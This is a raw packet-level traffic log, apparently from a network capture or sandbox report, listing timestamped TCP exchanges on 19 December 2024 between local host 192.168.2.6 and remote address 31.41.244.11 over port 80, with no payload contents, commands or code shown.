Dec 19, 2024 08:09:15.761573076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.762295008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.762353897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.762392044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.762428045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.763139963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.763180971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.763247013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.763283014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.764029026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.764044046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.764080048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.764111042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.764844894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.764955044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.764997005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.765744925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.765784025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.765810966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.765847921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.766601086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.766657114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.766669989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.766705990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.767421961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.767482042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.767543077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.767587900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.768261909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.768304110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.768381119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.768418074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.769125938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.769227028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.769268990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.769962072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.770003080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.770075083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.770111084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.770879030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.770956039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.771070004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.771126032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.771744967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.771967888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.919008017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.919071913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.919186115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.919228077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.919452906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.919518948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.919596910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.919641018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.920290947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.920334101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.920356989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.920394897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.921161890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.921204090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.921348095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.921436071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.922025919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.922090054 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.922097921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.922144890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.922862053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.922909975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.922964096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.923100948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.923712969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.923759937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.923996925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.924134016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.924546003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.924597979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.924738884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.924791098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.925431967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.925494909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.925551891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.925677061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.926296949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.926367998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.926402092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.926448107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.927135944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.927182913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.927242994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.927288055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.927997112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.928060055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.928138971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.928365946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.928863049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.928925991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.928939104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.928986073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.929735899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.929783106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.929939985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.929984093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.930579901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.930628061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.930650949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.930689096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.931402922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.931466103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.931497097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.931539059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.932255030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.932322979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.932354927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.932399988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.933087111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.933132887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.933188915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.933233023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.933947086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.934062004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.934066057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.934103012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.934858084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.934870005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.934916019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.934933901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.935682058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.935738087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.935837030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.935879946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.936487913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.936537027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.936614990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.936676025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.937350988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.937411070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.937463045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.937508106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.938220978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.938283920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.938314915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.938359976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.939075947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.939137936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.939181089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.939241886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.939925909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.939970970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.940036058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.940078020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.940859079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.940927982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.940957069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.941021919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.941631079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.941675901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.941721916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.941765070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.942480087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.942536116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.942583084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.942682028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.943342924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.943407059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.943434954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.943483114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.944197893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.944264889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.944335938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.944375038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.945058107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.945112944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.945183992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.945231915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.945895910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.945950985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.946064949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.946113110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.946742058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.946799040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.946856022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.946896076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.947599888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.947674990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.947734118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.947779894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.948476076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.948487997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.948535919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.949312925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.949367046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.949424982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.949496031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.950172901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.950222015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.950264931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.950412989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.951227903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.951278925 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.951351881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.951436043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.951888084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.951937914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.951982021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.952068090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.952744007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.952754021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.952795982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.953586102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.953639030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.953691006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.953784943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.954432011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.954489946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.954531908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.954610109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.955281019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.955329895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.955389977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.955430031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.956140041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.956192017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.956223965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.956267118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.956999063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.957041979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.957110882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.957231045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.957851887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.957896948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.957961082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.958007097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.958717108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.958771944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.958797932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.958837032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.959548950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.959606886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.959636927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.959681034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.960427046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.960473061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.960484982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.960511923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.961267948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.961319923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.961405039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.961450100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.962114096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.962167025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.962234974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.962301970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.963021040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.963063955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.963071108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.963109016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.963855982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.963901997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.111120939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.111182928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.111270905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.111449003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.111541986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.111588001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.111645937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.111731052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.112380028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.112428904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.112505913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.112544060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.113282919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.113326073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.113344908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.113394022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.114105940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.114151955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.114309072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.114351034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.114979029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.115020990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.115050077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.115091085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.115813017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.115878105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.115906954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.116005898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.116648912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.116698027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.116755009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.116822958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.117470980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.117515087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.117582083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.117656946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.118377924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.118422985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.118473053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.118515968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.119215012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.119256973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.119322062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.119400978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.120065928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.120112896 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.120177984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.120219946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.120944023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.120982885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.121062040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.121104956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.121768951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.121809006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.121848106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.121912956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.122642040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.122682095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.122797012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.122848034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.123492956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.123536110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.123603106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.123646975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.124355078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.124420881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.124449968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.124489069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.125196934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.125215054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.125252008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.126087904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.126144886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.126167059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.126209974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.126939058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.127002954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.127079964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.127131939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.127758980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.127821922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.127854109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.127896070 CET	49802	80	192.168.2.6	31.41.244.11
